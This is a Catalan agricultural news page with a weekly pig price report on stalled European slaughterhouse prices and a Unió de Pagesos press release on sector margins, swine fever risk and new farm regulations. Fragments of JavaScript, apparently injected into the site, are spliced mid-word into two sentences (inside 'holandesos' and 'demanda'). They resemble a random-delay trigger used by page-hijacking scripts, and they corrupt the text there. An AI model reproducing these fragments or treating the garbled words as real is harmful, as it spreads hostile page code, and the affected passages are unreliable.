Relació de preus del porcí, setmana número 23

Pujada de tres mil·lèsimes en una tensa sessió de llotja aquest dijous a Mercolleida. Al cap i a la fi, això és només un reflex del que està passant a tot Europa amb l’aturada de les exportacions a la Xina, que provoca una major oferta de carn dins d’una UE encara sota restriccions de consum per la covid-19, i amb la disminució estacional de l’oferta de porcs. Això provoca que els escorxadors europeus es “plantin” davant de noves pujades del porc, pressionats per la depreciació de la carn, mentre que els ramaders defensen pujades del porc perquè n’hi ha menys i n’hi haurà encara menys a l’estiu.

Així, a Alemanya la setmana passada el preu de referència va pujar 3 cèntims però els escorxadors no ho van acceptar i van anunciar una repetició; aquesta setmana, la referència ha repetit, per donar una oportunitat als escorxadors perquè pugessin el seu preu i es realineessin, però els escorxadors també han repetit el seu preu més baix.

Als Països Baixos, la cotització de divendres passat va marcar una testimonial pujada d’1 cèntim, però ni tan sols aquesta pujada mínima han acceptat els escorxadors holandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andesos, que repeteixen.

A França, el pes ha baixat mig quilo i les bones temperatures i una nova suavització de les mesures covid-19 aporten nous impulsos al consum interior de carn, però els escorxadors també han fet pinya al MPB per mantenir la cotització sense canvis.

A Dinamarca, que va pujar la setmana passada per la menor disponibilitat estacional de porcs, hi ha una repetició ara basada en els problemes de la carn dins d’Europa. I, en fi, a Espanya, amb el descens aquesta setmana del pes en canal més ampli des d’agost de l’any passat, la cotització puja amb prou feines 3 mil·lèsimes. I, encara, amb fortes tensions, perquè els escorxadors estaven tancats en què, amb el preu del porc més alt de la UE i tota Europa estancada, l’única opció era una repetició, mentre que els ramaders, als quals no els afluixa la demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda de porcs i se’ls cau el pes, no entenien que la cotització no hagués de pujar. La lectura de fons de tot això és que, encara amb menys porcs, els escorxadors europeus han aconseguit posar-li fre a la pujada del porc.

A cada país, més o menys amunt perquè cada realitat de mercat els ha situat al seu nivell: més amunt Espanya, perquè és el país que més ha aprofitat l’exportació a la Xina del primer quadrimestre; més avall Alemanya, perquè no pot exportar per la PPA; i enmig França i Dinamarca, perquè depenen més equitativament del mercat interior i de l’exportació. I una altra lectura és que, sense poder pressionar l’escorxador a l’alça sobre els preus de compra de la gran distribució, la pressió llisca cap avall, cap al porc del qual surt aquesta carn i que es va revaloritzar per la Xina i es frena ara per l’absència de la Xina sense relleu europeu. 

Unió de Pagesos valora els bons preus del porcí, tot i la inestabilitat del mercat a causa de la pandèmia de la covid-19

En la roda de premsa que avui ha ofert Unió de Pagesos a la seva seu de Tàrrega (Urgell) per fer balanç de la situació del sector porcí, el responsable nacional d’aquest sector al sindicat, Rossend Saltiveri, ha valorat que aquest primer semestre del 2020 el balanç econòmic ha estat positiu, tot i que amb un descens important a partir del març degut a la situació de pandèmia global a causa de la covid-19.

El sindicalista ha exposat que el marge interanual (diferència entre el cost de producció i el preu de venda) es manté alt —superant els 0,20 €/kg—, superant, la mitjana de preu de llotja d’1,40 €/kg viu (vegeu taula adjunta). A més, també ha apuntat que cal tenir en compte que, durant el primer semestre de l’any, tan el preu del pinso com el cost de producció del porcí s’han mantingut estables.

Segons Unió de Pagesos, aquests bons resultats s´aconsegueixen gràcies a una producció competitiva pel que fa els costos tant en producció,  com en sacrifici i elaboració,  i també a la capacitat que ha tingut el sector els darrers anys d’obrir-se als mercats d’exportació. En aquest sentit, el sindicat recorda que prop d’un 70 % de les granges d’engreix catalanes estan integrades i que allò just és que els bons resultats econòmics reverteixin al ramader perquè pugui continuar adaptant-se a les noves normatives.

Pel que fa als reptes del sector, el principal, és aconseguir conscienciar al sector de la  necessitat d’augmentar el cens de mares per no dependre de garrins importats, tenint en compte el risc sanitari que comporta la importació de garrins per engreixar-los aquí, ja que el moviment d’animals  és una amenaça sanitària constant i que portarà repercussions al productor estatal. En aquest sentit, Unió de Pagesos remarca la necessitat urgent de controlar la població de porc senglar —i reduir-ne la sobrepoblació actual a Catalunya— pel risc de propagació de la pesta porcina africana [PPA].

A més el sector s’ha d’adaptar a les noves exigències normatives del Reial decret d’ordenació porcina, publicat al febrer, i del Decret de fertilització, aprovat ara fa un any. El Reial decret d’ordenació porcina regula noves exigències relacionades amb la sanitat, el benestar animal, la higiene, la bioseguretat i el medi ambient, a través de la implantació d’un sistema de gestió integral [SIGE]. Per exemple, determina que les granges amb una capacitat superior a 120 unitats de bestiar major [UBM] han de determinar quines mesures prenen per reduir les emissions de gasos d’efecte hivernacle i amoníac en l’àmbit de la granja i de la gestió de les dejeccions.

Pel que fa al Decret de fertilització, el sector valora l’esforç de les granges per adaptar-se a les noves condicions de gestió i d’aplicació de les dejeccions ramaderes (sistemes d’elevada uniformitat, la substitució del ventall per altres sistemes alternatius, el conductímetre, els terminis d’incorporació al sòl…); una adaptació que les granges més petites, amb cisternes de capacitat inferior a 15 m3, tenen marge per fer fins al 21 de febrer del 2021. Amb tot, Unió de Pagesos considera que cal que el Departament d’Agricultura faci costat als ramaders i destini els recursos necessaris per desenvolupar sistemes de tractament de les dejeccions ramaderes per facilitar, així, el compliment de les exigències ambientals i la viabilitat de les inversions que comporten. Per acabar, Unió de Pagesos valora que el 95 % de la pagesia obligada a presentar la declaració anual de nitrogen [DAN] el 2019, hagi complert.

 

 

 

Font d’informació: Unió de Pagesos